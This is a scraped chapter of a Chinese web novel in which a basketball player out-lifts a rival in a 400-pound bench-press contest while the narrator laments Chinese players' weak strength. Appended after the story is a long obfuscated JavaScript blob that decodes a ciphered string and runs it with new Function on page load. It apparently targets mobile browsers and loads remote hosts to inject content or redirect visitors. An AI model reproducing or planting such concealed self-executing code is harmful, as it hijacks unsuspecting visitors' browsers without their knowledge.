610章 400磅达成!亚洲篮球力量第一人!(2 / 2)

篮坛紫锋 紫锋01 2896 字 2022-04-26

“姚老板不是说过么,100公斤的卧推,亚洲都不算强的,想要和欧美对抗,内线至少要120~130公斤才行。而且这还是人家NBA的纯新秀水准。”

听着这些人的讨论,唐潜暗中点头,因为他就是故意要刺激一下这些年轻球员的视野和感官,否则老是停留在篮协篮管的体测划线那里,那根本就是自取灭亡,上了国际赛场就是“找死”!

不夸张的讲,后期杜兰特都拍摄了反击质疑的视频,轻轻松松推起了140KG,也就是308磅的重量,他的极限,至少在150KG以上吧。而他只是一个外线球员,还是以力量较差著称的外线,新秀时期甚至连84KG的基本重量都推不起来。可你再看看现在,人家轻轻松松就能上140KG,这样的力量差距,你说国内球员怎么不显得“羸弱不堪”呢?

就在这时,有人走了进来,他就是一直板着脸的刘威。

刘威看到大鲨鱼的队员都围着那个小子,心里有火,他也找了一个卧推器械躺下,然后开始做起了卧推起来。还真别说,刘威的卧推一直是很不错的,嗯,毕竟占了臂展短的便宜,但今天……似乎状态格外的好啊!

唐潜一瞟眼,我去,这孙子居然还用上了卧推背心???难怪今天状态神勇了!!!

啥叫卧推背心?就是一种可以增加人体卧推的重量的“神器”,一般人用上,10KG左右可以随便增加,经常练习的人用上,可大可小,最大可以达到提升接近600磅的重量。创造者就是Gene.Rychlack,他对于卧推背心的使用,简直是出神入化,无装备卧推最大仅有450磅,穿上卧推背心呢?足足1010磅!对,就有这么大的差距!

所谓的有装备和没装备,就是这么的吊!

刘威穿上卧推背心和在健身房里卧推,分明就是要对抗唐潜,意思很明显了。

虽然有点迁怒的意思,可谁叫你是姚铭带来的人呢?今天一定不能让你“容光焕发”的走出去!

刘威的无装备卧推最大是120~125公斤,也就是264~275磅之间,但那已经是几年前的事情了,最近几年刘威因为训练愈来愈“打酱油”,卧推成绩直线下降,已经只余下了230磅左右。但即便是这样,因为也算是练了十几年了,穿上卧推背心后,随随便便就可以上300磅。

唐潜看到对方这个举动,内心升起了邪恶的笑容,他突然加大了重量,一下子提高了20磅,然后继续。

“哇喔~320磅了~唐基上320磅了~太强了~太强了~感觉他还有很多的余力啊~”

刘威听到这个欢呼声后,也停了下来,然后加大到了330磅。

唐潜见状也不含糊,直接上350磅。

两人过于明显的“攀比”,很快就引起了人们的注意,虽然刘威用了卧推背心,但是仍然让这个不大的器械房,升起了两团明火。

不过但刘威加到360磅后,很明显就算是加持卧推背心,他也有点上不去了,整个人脸色都微微发红了才推举成功。唐潜看了看,心中道,小样,你还和我斗?你以为你穿个卧推背心,我就搞不定你了嘛?今晚上就让你做恶梦!

“370磅了~我去~唐基上370磅了~这可是无装备无保护的状态啊~接近170公斤了!”

“靠靠靠!!!380磅了!!!他上380磅了!!!这是我现实生活中见过的最大重量了啊!!!这力量,还是东方人种吗???”

“卧!!!槽!!!390磅了!!!他上390磅了!!!!!!!!!!!!!我的天啊!!!!!!!!!!!!!!这可是177公斤啊!!!!!!!!!!!!!国内篮球运动员,谁能做到吗???????”

这已经是唐潜前段时间力量极限了,但是今天,也不知道怎么的,唐潜感觉自己,精力充沛,仍有余力一样。所以……他选择了冲击一把400磅!

400磅,无限接近182公斤,这已经远远超过亚洲球员的极限了,此前国内最高的卧推数据是宋康鸣的,达到了160公斤,其次就是姚铭,他有一个火箭队卧推一组8次,每次158公斤的训练,不过完成起来,都很勉强,估计极限的话,也许还要超过宋康鸣一点点。但这就是亚洲最强了。其余能达到150公斤的,也就是巅峰时期的巴特儿,刘雨栋,王治智的极限卧推都不过120公斤左右。所以国家男篮的力量,的的确确一直都是弱项。

而这些人,都已经是上一代甚至是上上代的人了,这一代呢,目前最强就是易键联,也仅仅只有130公斤。力量不足,直接的结果就是对抗不足,特别是内线球员,你卧推成绩极限都只有100~110公斤上下,你还想拼过欧美球员?这不是白日做梦又是啥?

姚铭曾经有句很经典的话,力量是篮球场上技术的保障,狭隘一点来看,就是你力量差,技术爆炸也没有用,因为发挥不出来啊发挥不出来!不说美帝,欧洲中锋现在平均卧推都在130公斤左右,国内普遍110KG都达不到,欧洲外线平均卧推110公斤左右,国内呢,80公斤都没有!也就是宫鲁明所讲的国家队最新体测数据了。你连欧洲都差了30公斤不止,还想要打技术篮球?没有力量和身体素质做保障,你狗屁技术都用不出来!

这就是为什么刘威一把年纪了,还能稳稳坐着国家队主力控卫的位置,因为他的力量,事实上在国内外线,算是数一数二的,加上丰富的经验,一下子也就成了无可替代的人选。

“欧洲凯撒”尤纳斯刚到中国来,第一个点明的问题就是力量,这足以说明力量薄弱,是国内篮球的重要不足。

美国篮球界有句俗语,你怎么对待你的身体,你的身体就会怎么对待你,后来姚铭还把它做成了广告语,在全国推广。为啥人家张指导总是说年轻人应该多练练,这就是委婉表达自己的不满意啊,因为他年轻时候就是因为身高吃亏,所以狂练力量,最终在世锦赛大放异彩,以总分第一勇夺“世锦赛得分王”荣誉。他自己曾经亲口说过,他为了能弥补身高上的劣势,每天训练结束后都会去和北京举重队一起训练,最终成为了中国男篮当时的头号大力士。

张指导有句现在听起来不敢相信的话:我后来退役后到了国家队当教练,那些国家队的队员力量都没有我大。这样一句话,就是从“张合理”嘴里说出来的,就问你狂不狂,叼不叼???

作为一个60多岁的人,每天为中国篮球费心费力,是不是心底多少有点感概,现在国内年轻球员不给力,也没力呢?所以唐潜今天不仅仅要挑战一下自己的极限,也要给现场这些年轻人好好上上课,让他们知道,力量,是打篮球不可或缺的东西。

中国人,只要你肯练,那也一样可以成为外国球迷口中的“力王”!

唐潜深深吸了一口气,然后浑身一起爆发,筋肉爆炸,青筋乍起,在摇摇欲坠的过程中,他第一次完成了人生400磅卧推的挑战!

现场看见这个成绩后,都有些呆住了,好一会儿才有人讷讷说道:“他,他还是人吗?他不是专门搞健身搞举重的吧?400磅???这是篮球运动员可以推得起来的吗???太,太可怕了吧!!!”

唐潜放下杠铃后,用毛巾擦了擦额上的汗水,然后对着刚刚这个说话的大鲨鱼球员道:“400磅其实没有什么好可怕的,NBA里面能推起来的人不少,打篮球的确不是说力量越强你就能力越强,但大家都要记住了,缺少了力量,肯定是万万不行的。”

大鲨鱼这些人,其实很多所谓的“年轻人”都比唐潜还要大不少,可面对一个这样的“强者”,他们都认真地点了点头,似乎将今天这段话,今天这个场面,要牢牢烙印在心底一样。

唐潜看着这些人的神情,也在心中暗暗点了点头。

作为国人,他是很希望能改进国篮水平的,NBA新秀内线进入联盟,普遍都是120公斤的卧推,这还都是些没有系统练过的大学生,19~20岁的小孩。但凡几年后再看,都力量属性飞上了天际,没有个150KG,你都不好意思和人家打招呼。

所以相比技术,唐潜更想让年轻球员树立“力量篮球”的价值观。

毕竟竞技运动,从根本上来讲,还是一种依托于身体素质的运动,忽略身体素质去谈纯技术,那不是外行,就是瞎扯淡。

唐潜路过刘威的身边,好心奉劝了一句道:“卧推背心卧推对于肌肉的刺激不够,我劝你还是用无装备卧推来练习力量比较好,这样对于力量的退化不会太严重。”原本只是一句出自于良心的话,却瞬间点燃了刘威道:“你算老几!也敢来教训我?你以为我是他们那种小孩子,没有见过世面吗?我告诉你,劳.资打球的时候,你还在妈妈怀里喝奶呢!”

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();